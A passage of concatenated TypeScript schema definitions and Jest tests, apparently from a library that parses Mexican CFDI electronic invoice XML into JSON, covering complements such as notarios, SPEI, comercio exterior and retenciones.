"notariospublicos:DatosEnajenanteCopSC": {
strictArrayResponse: true,
position: "datosEnajenanteCopSC",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"porcentaje"
]
}
}
}
}
},
"notariospublicos:DatosAdquiriente": {
position: "datosAdquiriente",
attributes: ["coproSocConyugalE"],
nodes: {
"notariospublicos:DatosUnAdquiriente": {
position: "datosUnAdquiriente",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"curp"
]
},
"notariospublicos:DatosAdquirientesCopSC": {
nodes: {
"notariospublicos:DatosAdquirienteCopSC": {
strictArrayResponse: true,
position: "datosAdquirientesCopSC",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"porcentaje"
]
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(notariosTemplate({ minimalData: true })).toEqual({
"notariospublicos:NotariosPublicos": {
position: "notariosPublicos",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"valesdedespensa:ValesDeDespensa": {
position: "valesDeDespensa",
attributes: ["version"]
}
};
export const allDataDefinition = {
"valesdedespensa:ValesDeDespensa": {
position: "valesDeDespensa",
attributes: [
"version",
"tipoOperacion",
"registroPatronal",
"numeroDeCuenta",
"total"
],
nodes: {
"valesdedespensa:Conceptos": {
nodes: {
"valesdedespensa:Concepto": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"curp",
"nombre",
"numSeguridadSocial",
"importe"
]
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const informacionAduaneraDefinition = {
"terceros:InformacionAduanera": {
position: "informacionAduanera",
attributes: ["numero", "fecha", "aduana"]
}
};
export const minimalDataDefinition = {
"terceros:PorCuentadeTerceros": {
position: "cuentaTerceros",
attributes: ["version"]
}
};
export const allDataDefinition = {
"terceros:PorCuentadeTerceros": {
position: "cuentaTerceros",
attributes: ["version", "rfc", "nombre"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"terceros:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
},
"terceros:CuentaPredial": {
position: "cuentaPredial",
attributes: ["numero"]
}
})
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"tpe:TuristaPasajeroExtranjero": {
position: "turistaPasajeroExtranjero",
attributes: ["version"]
}
};
export const allDataDefinition = {
"tpe:TuristaPasajeroExtranjero": {
position: "turistaPasajeroExtranjero",
attributes: ["version", "fechadeTransito", "tipoTransito"],
nodes: {
"tpe:datosTransito": {
position: "datosTransito",
attributes: [
"via",
"tipoId",
"numeroId",
"nacionalidad",
"empresaTransporte",
"idTransporte"
]
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import turistaPasajeroExtrangeroTemplate from "../turista-pasajero-extranjero";
describe("Turista pasajero extrangero data test", () => {
it("Execute without params", () => {
expect(turistaPasajeroExtrangeroTemplate()).toEqual({
"tpe:TuristaPasajeroExtranjero": {
position: "turistaPasajeroExtranjero",
attributes: ["version", "fechadeTransito", "tipoTransito"],
nodes: {
"tpe:datosTransito": {
position: "datosTransito",
attributes: [
"via",
"tipoId",
"numeroId",
"nacionalidad",
"empresaTransporte",
"idTransporte"
]
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(turistaPasajeroExtrangeroTemplate({ minimalData: false })).toEqual({
"tpe:TuristaPasajeroExtranjero": {
position: "turistaPasajeroExtranjero",
attributes: ["version", "fechadeTransito", "tipoTransito"],
nodes: {
"tpe:datosTransito": {
position: "datosTransito",
attributes: [
"via",
"tipoId",
"numeroId",
"nacionalidad",
"empresaTransporte",
"idTransporte"
]
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(turistaPasajeroExtrangeroTemplate({ minimalData: true })).toEqual({
"tpe:TuristaPasajeroExtranjero": {
position: "turistaPasajeroExtranjero",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"spei:Complemento_SPEI": {
position: "spei",
nodes: {
"spei:SPEI_Tercero": {
strictArrayResponse: true,
position: "speiTerceroArray",
attributes: [
"fechaOperacion",
"hora",
"claveSPEI",
"sello",
"numeroCertificado",
"cadenaCDA"
],
nodes: {
"spei:Ordenante": {
position: "ordenante",
attributes: [
"bancoEmisor",
"nombre",
"tipoCuenta",
"cuenta",
"rfc"
]
},
"spei:Beneficiario": {
position: "benerificario",
attributes: [
"bancoReceptor",
"nombre",
"tipoCuenta",
"cuenta",
"rfc",
"concepto",
"iva",
"montoPago"
]
}
}
}
}
}
};
export const allDataDefinition = minimalDataDefinition;
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"cce:ComercioExterior": {
position: "comercioExterior",
attributes: ["version"]
}
};
// TODO: Add all nodes
export const allDataDefinition = {
"cce:ComercioExterior": {
position: "comercioExterior",
attributes: [
"version",
"tipoOperacion",
"claveDePedimento",
"certificadoOrigen",
"numCertificadoOrigen",
"numeroExportadorConfiable",
"incoterm",
"subDivision",
"observaciones",
"tipoCambioUSD",
"totalUSD"
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"iedu:instEducativas": {
position: "instEducativa",
attributes: [
"version",
"nombreAlumno",
"curp",
"nivelEducativo",
"autRVOE",
"rfcPago"
]
}
};
export const allDataDefinition = minimalDataDefinition;
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import vehiculoUsadoTemplate from "../vehiculo-usado";
describe("Vehiculo usado data test", () => {
it("Execute without params", () => {
expect(vehiculoUsadoTemplate()).toEqual({
"vehiculousado:VehiculoUsado": {
position: "vehiculoUsado",
attributes: [
"version",
"montoAdquisicion",
"montoEnajenacion",
"claveVehicular",
"marca",
"tipo",
"modelo",
"numeroMotor",
"numeroSerie",
"niv",
"valor"
],
nodes: {
"vehiculousado:InformacionAduanera": {
position: "informacionAduanera",
attributes: ["numero", "fecha", "aduana"]
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(vehiculoUsadoTemplate({ minimalData: false })).toEqual({
"vehiculousado:VehiculoUsado": {
position: "vehiculoUsado",
attributes: [
"version",
"montoAdquisicion",
"montoEnajenacion",
"claveVehicular",
"marca",
"tipo",
"modelo",
"numeroMotor",
"numeroSerie",
"niv",
"valor"
],
nodes: {
"vehiculousado:InformacionAduanera": {
position: "informacionAduanera",
attributes: ["numero", "fecha", "aduana"]
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(vehiculoUsadoTemplate({ minimalData: true })).toEqual({
"vehiculousado:VehiculoUsado": {
position: "vehiculoUsado",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"obrasarte:obrasarteantiguedades": {
position: "obrasarteAntiguedades",
attributes: ["version"]
}
};
export const allDataDefinition = {
"obrasarte:obrasarteantiguedades": {
position: "obrasarteAntiguedades",
attributes: [
"version",
"tipoBien",
"otrosTipoBien",
"tituloAdquirido",
"otrosTituloAdquirido",
"subTotal",
"iva",
"fechaAdquisicion",
"caracteristicasDeObraoPieza"
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import CfdiExtractData from "..";
describe("CfdiExtractData:retenciones:Retenciones", () => {
it("test1", () => {
expect(
CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="UTF-8"?>
<retenciones:Retenciones
xmlns:retenciones="http://www.sat.gob.mx/esquemas/retencionpago/1"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:plataformasTecnologicas="http://www.sat.gob.mx/esquemas/retencionpago/1/PlataformasTecnologicas10"
xsi:schemaLocation="http://www.sat.gob.mx/esquemas/retencionpago/1 http://www.sat.gob.mx/esquemas/retencionpago/1/retencionpagov1.xsd http://www.sat.gob.mx/esquemas/retencionpago/1/PlataformasTecnologicas10 http://www.sat.gob.mx/esquemas/retencionpago/1/PlataformasTecnologicas10/ServiciosPlataformasTecnologicas10.xsd"
Version="1.0" FolioInt="507020" FechaExp="2020-07-05T22:21:24-05:00" CveRetenc="26">
<retenciones:Emisor RFCEmisor="RFC_EMISOR" NomDenRazSocE="RAZÓN SOCIAL EMISOR" />
<retenciones:Receptor Nacionalidad="Nacional">
<retenciones:Nacional RFCRecep="RFC_RECEPTOR" />
</retenciones:Receptor>
<retenciones:Periodo MesIni="6" MesFin="6" Ejerc="2020" />
<retenciones:Totales montoTotOperacion="188.630000" montoTotGrav="188.630000" montoTotExent="0.00" montoTotRet="18.86">
<retenciones:ImpRetenidos BaseRet="188.63" Impuesto="01" montoRet="3.77" TipoPagoRet="Pago definitivo" />
<retenciones:ImpRetenidos BaseRet="30.18" Impuesto="02" montoRet="15.09" TipoPagoRet="Pago definitivo" />
</retenciones:Totales>
<retenciones:Complemento>
<plataformasTecnologicas:ServiciosPlataformasTecnologicas Version="1.0" Periodicidad="02" NumServ="1" MonTotServSIVA="188.630000" TotalIVATrasladado="30.180800" TotalIVARetenido="15.090000" TotalISRRetenido="3.770000" DifIVAEntregadoPrestServ="15.090800" MonTotalporUsoPlataforma="68.880000">
<plataformasTecnologicas:Servicios>
<plataformasTecnologicas:DetallesDelServicio FormaPagoServ="02" TipoDeServ="01" SubTipServ="01" FechaServ="2020-06-30" PrecioServSinIVA="188.630000">
<plataformasTecnologicas:ImpuestosTrasladadosdelServicio Base="188.630000" Impuesto="02" TipoFactor="Tasa" TasaCuota="0.160000" Importe="30.180800" />
<plataformasTecnologicas:ComisionDelServicio Importe="68.880000" />
</plataformasTecnologicas:DetallesDelServicio>
</plataformasTecnologicas:Servicios>
</plataformasTecnologicas:ServiciosPlataformasTecnologicas>
<tfd:TimbreFiscalDigital xmlns:tfd="http://www.sat.gob.mx/TimbreFiscalDigital" xsi:schemaLocation="http://www.sat.gob.mx/TimbreFiscalDigital http://www.sat.gob.mx/TimbreFiscalDigital/TimbreFiscalDigital.xsd" version="1.0" selloCFD="SELLO_CFD" noCertificadoSAT="NO_CERTIFICADO_SAT" UUID="UUID_DEL_XML_DE_RETENCIONES" FechaTimbrado="2020-07-05T22:21:24" selloSAT="SELLO_SAT" />
</retenciones:Complemento>
</retenciones:Retenciones>
`
})
).toEqual({
"isRetencion": true,
"cveRetenc": "26",
"emisor": {
"nomDenRazSocE": "RAZÓN SOCIAL EMISOR",
"rfcEmisor": "RFC_EMISOR",
},
"fechaExp": "2020-07-05T22:21:24-05:00",
"folioInt": "507020",
"periodo": {
"ejerc": "2020",
"mesFin": "6",
"mesIni": "6",
},
"plataformasTecnologicas": {
"difIVAEntregadoPrestServ": "15.090800",
"monTotServSIVA": "188.630000",
"monTotalporUsoPlataforma": "68.880000",
"numServ": "1",
"periodicidad": "02",
"servicios": [{
"detalles": [{
"comisionesDelServicio": [
{
"importe": "68.880000",
},
],
"fechaServ": "2020-06-30",
"formaPagoServ": "02",
"precioServSinIVA": "188.630000",
"subTipServ": "01",
"tipoDeServ": "01",
"traslados": [
{
"base": "188.630000",
"importe": "30.180800",
"impuesto": "02",
"tasaCuota": "0.160000",
"tipoFactor": "Tasa",
},
],
}]
}],
"totalISRRetenido": "3.770000",
"totalIVARetenido": "15.090000",
"totalIVATrasladado": "30.180800",
"version": "1.0",
},
"receptor": {
"nacionalidad": "Nacional",
"rfcRecep": "RFC_RECEPTOR",
},
"totales": {
"impuestosRetenidos": [
{
"baseRet": "188.63",
"impuesto": "01",
"montoRet": "3.77",
"tipoPagoRet": "Pago definitivo",
},
{
"baseRet": "30.18",
"impuesto": "02",
"montoRet": "15.09",
"tipoPagoRet": "Pago definitivo",
},
],
"montoTotExent": "0.00",
"montoTotGrav": "188.630000",
"montoTotOperacion": "188.630000",
"montoTotRet": "18.86",
},
"timbreFiscal": {
"fechaTimbrado": "2020-07-05T22:21:24",
"noCertificadoSAT": "NO_CERTIFICADO_SAT",
"selloCFD": "SELLO_CFD",
"selloSAT": "SELLO_SAT",
"uuid": "UUID_DEL_XML_DE_RETENCIONES",
},
"version": "1.0",
});
});
});
<file_sep>import obrasArteAntiguedadesTemplate from "../obras-arte-antiguedades";
describe("Obras de arte, antiguedades data test", () => {
it("Execute without params", () => {
expect(obrasArteAntiguedadesTemplate()).toEqual({
"obrasarte:obrasarteantiguedades": {
position: "obrasarteAntiguedades",
attributes: [
"version",
"tipoBien",
"otrosTipoBien",
"tituloAdquirido",
"otrosTituloAdquirido",
"subTotal",
"iva",
"fechaAdquisicion",
"caracteristicasDeObraoPieza"
]
}
});
});
it("Execute with minimalData: False", () => {
expect(obrasArteAntiguedadesTemplate({ minimalData: false })).toEqual({
"obrasarte:obrasarteantiguedades": {
position: "obrasarteAntiguedades",
attributes: [
"version",
"tipoBien",
"otrosTipoBien",
"tituloAdquirido",
"otrosTituloAdquirido",
"subTotal",
"iva",
"fechaAdquisicion",
"caracteristicasDeObraoPieza"
]
}
});
});
it("Execute with minimalData: True", () => {
expect(obrasArteAntiguedadesTemplate({ minimalData: true })).toEqual({
"obrasarte:obrasarteantiguedades": {
position: "obrasarteAntiguedades",
attributes: ["version"]
}
});
});
});
<file_sep>import pagosTemplate, { __getInnerNodes } from "../pagos";
describe("Pagos data test", () => {
it("Execute without params", () => {
expect(pagosTemplate()).toEqual({
"Pagos": {
position: "pagos",
attributes: ["version"],
nodes: Object.assign(
__getInnerNodes(),
)
},
});
});
it("Execute with minimalData: False", () => {
expect(pagosTemplate({ minimalData: false })).toEqual({
"Pagos": {
position: "pagos",
attributes: ["version"],
nodes: Object.assign(
__getInnerNodes(),
)
},
});
});
it("Execute with minimalData: True", () => {
expect(pagosTemplate({ minimalData: true })).toEqual({
"Pagos": {
position: "pagos",
attributes: ["version"]
}
});
});
});
<file_sep>import arrendamientoEnFideicomisoTemplate from "../retenciones.arrendamientoEnFideicomiso10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(arrendamientoEnFideicomisoTemplate()).toEqual({
"arrendamientoenfideicomiso:Arrendamientoenfideicomiso": {
position: "arrendamientoEnFideicomiso",
attributes: [
"version",
"pagProvEfecPorFiduc",
"rendimFideicom",
"deduccCorresp",
"montTotRet",
"montResFiscDistFibras",
"montOtrosConceptDistr",
"descrMontOtrosConceptDistr",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
arrendamientoEnFideicomisoTemplate({
minimalData: true
})
).toEqual({
"arrendamientoenfideicomiso:Arrendamientoenfideicomiso": {
position: "arrendamientoEnFideicomiso",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
arrendamientoEnFideicomisoTemplate({
minimalData: false
})
).toEqual({
"arrendamientoenfideicomiso:Arrendamientoenfideicomiso": {
position: "arrendamientoEnFideicomiso",
attributes: [
"version",
"pagProvEfecPorFiduc",
"rendimFideicom",
"deduccCorresp",
"montTotRet",
"montResFiscDistFibras",
"montOtrosConceptDistr",
"descrMontOtrosConceptDistr",
]
}
});
});
});
<file_sep>import timbreTemplate from "../timbre";
describe("Timbre data test", () => {
it("Execute without params", () => {
expect(timbreTemplate()).toEqual({
"TimbreFiscalDigital": {
position: "timbreFiscal",
attributes: [
"fechaTimbrado",
"uuid",
"noCertificadoSAT",
"selloSAT",
"selloCFD",
"RFCProvCertif"
]
}
});
});
it("Execute with minimalData: False", () => {
expect(timbreTemplate({ minimalData: false })).toEqual({
"TimbreFiscalDigital": {
position: "timbreFiscal",
attributes: [
"fechaTimbrado",
"uuid",
"noCertificadoSAT",
"selloSAT",
"selloCFD",
"RFCProvCertif"
]
}
});
});
it("Execute with minimalData: True", () => {
expect(timbreTemplate({ minimalData: true })).toEqual({
"TimbreFiscalDigital": {
position: "timbreFiscal",
attributes: ["fechaTimbrado", "uuid"]
}
});
});
});
<file_sep>export { default as getInstitucionesEducativasPrivadasDefinition } from './conceptos.instituciones-educativas-privadas';
export { default as getVentaVehiculosDefinition } from './conceptos.venta-vehiculos';
export { default as getTercerosDefinition } from './conceptos.terceros';
export { default as getAcreditamientoIepsDefinition } from './conceptos.acreditamiento-ieps';
export { default as getImpuestosDefinition } from './impuestos';
export { default as getTimbreDefinition } from './timbre';
export { default as getPagosDefinition } from './pagos';
export { default as getImpLocalDefinition } from './imp-local';
export { default as getNomina11Definition } from './nomina11';
export { default as getNomina12Definition } from './nomina12';
export { default as getEstadoCuentaCombustible10Definition } from './estado-cuenta-combustible10';
export { default as getEstadoCuentaCombustible11Definition } from './estado-cuenta-combustible11';
export { default as getEstadoCuentaCombustible12Definition } from './estado-cuenta-combustible12';
export { default as getDonatariasDefinition } from './donatarias';
export { default as getEstadoCuentaBancario } from './estado-cuenta-bancario';
export { default as getDivisasDefinition } from './divisas';
export { default as getAerolineasDefinition } from './aerolineas';
export { default as getLeyendasFiscalesDefinition } from './leyendas-fiscales';
export { default as getPFintegranteCoordinadoDefinition } from './pf-integrante-coordinado';
export { default as getTuristaPasajeroExtranjeroDefinition } from './turista-pasajero-extranjero';
export { default as getSpeiDefinition } from './spei';
export { default as getDetallistaDefinition } from './detallista';
export { default as getCfdiRegistroFiscalDefinition } from './cfdi-registro-fiscal';
export { default as getPagoEnEspecieDefinition } from './pago-en-especie';
export { default as getValesDespensaDefinition } from './vales-despensa';
export { default as getConsumoDeCombustibles10Definition } from './consumo-de-combustibles10';
export { default as getConsumoDeCombustibles11Definition } from './consumo-de-combustibles11';
export { default as getNotariosDefinition } from './notarios';
export { default as getVehiculoUsadoDefinition } from './vehiculo-usado';
export { default as getServicioParcialConstruccionDefinition } from './servicio-parcial-construccion-definition';
export { default as getRenovacionSustitucionVehiculosDefinition } from './renovacion-sustitucion-vehiculos';
export { default as getCertificadoDestruccionDefinition } from './certificado-destruccion';
export { default as getObrasArteAntiguedadesDefinition } from './obras-arte-antiguedades';
export { default as getComercioExterior10Definition } from './comercio-exterior10';
export { default as getComercioExterior11Definition } from './comercio-exterior11';
export { default as getIneDefinition } from './ine';
export { default as getPlataformasTecnologicas10Definition } from './retenciones.plataformasTecnologicas10';
export { default as getArriendoFideicomiso10Definition } from './retenciones.arrendamientoEnFideicomiso10';
export { default as getDividendos10Definition } from './retenciones.dividendos10';
export { default as getEnajenacionDeAcciones10Definition } from './retenciones.enajenacionDeAcciones10';
export { default as getFideicomisoNoEmpresarial10Definition } from './retenciones.fideicomisoNoEmpresarial10';
export { default as getIntereses10Definition } from './retenciones.intereses10';
export { default as getInteresesHipotecarios10Definition } from './retenciones.interesesHipotecarios10';
export { default as getOperacionesConDerivados10Definition } from './retenciones.operacionesConDerivados10';
export { default as getPagosAExtranjeros10Definition } from './retenciones.pagosAExtranjeros10';
export { default as getPlanesDeRetiro10Definition } from './retenciones.planesDeRetiro10';
export { default as getPremios10Definition } from './retenciones.premios10';
export { default as getSectorFinanciero10Definition } from './retenciones.sectorFinanciero10';
<file_sep>import { tMinimalData } from "../index.d";
export const informacionAduaneraDefinition = {
"ventavehiculos:InformacionAduanera": {
position: "informacionAduanera",
attributes: ["numero", "fecha", "aduana"]
}
};
export const minimalDataDefinition = {
"ventavehiculos:VentaVehiculos": {
position: "ventaVehiculos",
attributes: ["version"]
}
};
export const allDataDefinition = {
"ventavehiculos:VentaVehiculos": {
position: "ventaVehiculos",
attributes: ["version", "claveVehicular", "niv"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"ventavehiculos:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
}
})
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import CfdiExtractData from '..';
describe('CfdiExtractData', () => {
it('Basic data', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sat.gob.mx/cfd/3 http://www.sat.gob.mx/sitio_internet/cfd/3/cfdv33.xsd"
LugarExpedicion="91164"
MetodoPago="PUE"
TipoDeComprobante="I"
Total="499.00"
Moneda="MXN"
Certificado="OCULTO_EN_PREVISUALIZACIÓN"
SubTotal="430.17"
NoCertificado="OCULTO_EN_PREVISUALIZACIÓN"
FormaPago="04"
Sello="OCULTO_EN_PREVISUALIZACIÓN"
Fecha="2019-04-02T10:41:20"
Version="3.3"
xmlns:cfdi="http://www.sat.gob.mx/cfd/3">
<cfdi:Emisor Rfc="RFC_EMISOR" Nombre="NOMBRE_DEL_EMISOR" RegimenFiscal="612"></cfdi:Emisor>
<Receptor Rfc="RFC_RECEPTOR" Nombre="NOMBRE_DEL_RECEPTOR" UsoCFDI="G03"></Receptor>
<cfdi:Conceptos>
<cfdi:Concepto ClaveProdServ="43231601" Cantidad="1" ClaveUnidad="E48" Unidad="Unidad de servicio" Descripcion="Licencia anual onefacture cfdi" ValorUnitario="430.17" Importe="430.17">
<Impuestos>
<cfdi:Traslados>
<cfdi:Traslado Base="430.17" Impuesto="002" TipoFactor="Tasa" TasaOCuota="0.160000" Importe="68.83"></cfdi:Traslado>
</cfdi:Traslados>
</Impuestos>
</cfdi:Concepto>
</cfdi:Conceptos>
<cfdi:Impuestos TotalImpuestosTrasladados="68.83">
<cfdi:Traslados>
<cfdi:Traslado Impuesto="002" TipoFactor="Tasa" TasaOCuota="0.160000" Importe="68.83"></cfdi:Traslado>
</cfdi:Traslados>
</cfdi:Impuestos>
<cfdi:Complemento>
<tfd:TimbreFiscalDigital
xmlns:tfd="http://www.sat.gob.mx/TimbreFiscalDigital"
xsi:schemaLocation="http://www.sat.gob.mx/TimbreFiscalDigital http://www.sat.gob.mx/sitio_internet/cfd/TimbreFiscalDigital/TimbreFiscalDigitalv11.xsd"
Version="1.1"
UUID="UUID_DEL_XML"
FechaTimbrado="2019-04-02T10:43:47"
RfcProvCertif="SAT970701NN3"
SelloCFD="OCULTO_EN_PREVISUALIZACIÓN"
NoCertificadoSAT="NO_CERTIFICADO_SAT"
SelloSAT="OCULTO_EN_PREVISUALIZACIÓN"
/>
</cfdi:Complemento>
</cfdi:Comprobante>
`
}))
.toEqual({
"timbreFiscal": {
"uuid": "UUID_DEL_XML",
"RFCProvCertif": "SAT970701NN3",
"selloCFD": "OCULTO_EN_PREVISUALIZACIÓN",
"selloSAT": "OCULTO_EN_PREVISUALIZACIÓN",
"noCertificadoSAT": "NO_CERTIFICADO_SAT",
"fechaTimbrado": "2019-04-02T10:43:47",
},
"certificado": "OCULTO_EN_PREVISUALIZACIÓN",
"conceptos": [{
"cantidad": "1",
"claveProdServ": "43231601",
"claveUnidad": "E48",
"descripcion": "Licencia anual onefacture cfdi",
"importe": "430.17",
"impuestos": {
"traslados": [
{
"base": "430.17",
"importe": "68.83",
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa",
},
],
},
"unidad": "Unidad de servicio",
"valorUnitario": "430.17",
}],
"emisor": {
"nombre": "NOMBRE_DEL_EMISOR",
"regimenFiscal": "612",
"rfc": "RFC_EMISOR",
},
"fecha": "2019-04-02T10:41:20",
"formaPago": "04",
"impuestos": {
"totalImpuestosTrasladados": 68.83,
"traslados": [{
"importe": 68.83,
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa",
}],
},
"lugarExpedicion": "91164",
"metodoPago": "PUE",
"moneda": "MXN",
"noCertificado": "OCULTO_EN_PREVISUALIZACIÓN",
"receptor": {
"nombre": "NOMBRE_DEL_RECEPTOR",
"rfc": "RFC_RECEPTOR",
"usoCFDI": "G03",
},
"sello": "OCULTO_EN_PREVISUALIZACIÓN",
"subTotal": "430.17",
"tipoDeComprobante": "I",
"total": "499.00",
"version": "3.3",
});
});
it('Basic data without namespace tfd', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sat.gob.mx/cfd/3 http://www.sat.gob.mx/sitio_internet/cfd/3/cfdv33.xsd"
LugarExpedicion="91164"
MetodoPago="PUE"
TipoDeComprobante="I"
Total="499.00"
Moneda="MXN"
Certificado="OCULTO_EN_PREVISUALIZACIÓN"
SubTotal="430.17"
NoCertificado="OCULTO_EN_PREVISUALIZACIÓN"
FormaPago="04"
Sello="OCULTO_EN_PREVISUALIZACIÓN"
Fecha="2019-04-02T10:41:20"
Version="3.3"
xmlns:cfdi="http://www.sat.gob.mx/cfd/3">
<cfdi:Emisor Rfc="OIRR940203TH7" Nombre="<NAME>" RegimenFiscal="612"></cfdi:Emisor>
<cfdi:Receptor Rfc="DCC1510017K2" Nombre="DRL. CONSULTORES CONTABLES SC" UsoCFDI="G03"></cfdi:Receptor>
<cfdi:Conceptos>
<cfdi:Concepto ClaveProdServ="43231601" Cantidad="1" ClaveUnidad="E48" Unidad="Unidad de servicio" Descripcion="Licencia anual onefacture cfdi" ValorUnitario="430.17" Importe="430.17">
<cfdi:Impuestos>
<cfdi:Traslados>
<cfdi:Traslado Base="430.17" Impuesto="002" TipoFactor="Tasa" TasaOCuota="0.160000" Importe="68.83"></cfdi:Traslado>
</cfdi:Traslados>
</cfdi:Impuestos>
</cfdi:Concepto>
</cfdi:Conceptos>
<cfdi:Impuestos TotalImpuestosTrasladados="68.83">
<cfdi:Traslados>
<cfdi:Traslado Impuesto="002" TipoFactor="Tasa" TasaOCuota="0.160000" Importe="68.83"></cfdi:Traslado>
</cfdi:Traslados>
</cfdi:Impuestos>
<cfdi:Complemento>
<TimbreFiscalDigital
xmlns:tfd="http://www.sat.gob.mx/TimbreFiscalDigital"
xsi:schemaLocation="http://www.sat.gob.mx/TimbreFiscalDigital http://www.sat.gob.mx/sitio_internet/cfd/TimbreFiscalDigital/TimbreFiscalDigitalv11.xsd"
Version="1.1"
UUID="012864A0-4435-4199-9236-95A8DA9439E5"
FechaTimbrado="2019-04-02T10:43:47"
RfcProvCertif="SAT970701NN3"
SelloCFD="OCULTO_EN_PREVISUALIZACIÓN"
NoCertificadoSAT="00001000000403258748"
SelloSAT="OCULTO_EN_PREVISUALIZACIÓN"
/>
</cfdi:Complemento>
</cfdi:Comprobante>
`
}))
.toEqual({
"timbreFiscal": {
"uuid": "012864A0-4435-4199-9236-95A8DA9439E5",
"RFCProvCertif": "SAT970701NN3",
"selloCFD": "OCULTO_EN_PREVISUALIZACIÓN",
"selloSAT": "OCULTO_EN_PREVISUALIZACIÓN",
"noCertificadoSAT": "00001000000403258748",
"fechaTimbrado": "2019-04-02T10:43:47",
},
"certificado": "OCULTO_EN_PREVISUALIZACIÓN",
"conceptos": [{
"cantidad": "1",
"claveProdServ": "43231601",
"claveUnidad": "E48",
"descripcion": "Licencia anual onefacture cfdi",
"importe": "430.17",
"impuestos": {
"traslados": [
{
"base": "430.17",
"importe": "68.83",
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa",
},
],
},
"unidad": "Unidad de servicio",
"valorUnitario": "430.17",
}],
"emisor": {
"nombre": "<NAME>",
"regimenFiscal": "612",
"rfc": "OIRR940203TH7",
},
"fecha": "2019-04-02T10:41:20",
"formaPago": "04",
"impuestos": {
"totalImpuestosTrasladados": 68.83,
"traslados": [{
"importe": 68.83,
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa",
}],
},
"lugarExpedicion": "91164",
"metodoPago": "PUE",
"moneda": "MXN",
"noCertificado": "OCULTO_EN_PREVISUALIZACIÓN",
"receptor": {
"nombre": "<NAME>",
"rfc": "DCC1510017K2",
"usoCFDI": "G03",
},
"sello": "OCULTO_EN_PREVISUALIZACIÓN",
"subTotal": "430.17",
"tipoDeComprobante": "I",
"total": "499.00",
"version": "3.3",
});
});
it('Emisor', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
Version="3.3"
>
<cfdi:Emisor
Rfc="RFC_EMISOR"
Nombre="NOMBRE_DEL_EMISOR"
RegimenFiscal="612"
></cfdi:Emisor>
</cfdi:Comprobante>
`
}))
.toEqual({
"version": "3.3",
"emisor": {
"nombre": "NOMBRE_DEL_EMISOR",
"regimenFiscal": "612",
"rfc": "RFC_EMISOR"
}
});
});
it('Basic data without namespace cfdi in root tag', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
Version="3.3"
>
<cfdi:Emisor
Rfc="RFC_EMISOR"
Nombre="NOMBRE_DEL_EMISOR"
RegimenFiscal="612"
></cfdi:Emisor>
</Comprobante>
`
}))
.toEqual({
"version": "3.3",
"emisor": {
"nombre": "NOMBRE_DEL_EMISOR",
"regimenFiscal": "612",
"rfc": "RFC_EMISOR"
}
});
});
it('Receptor', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
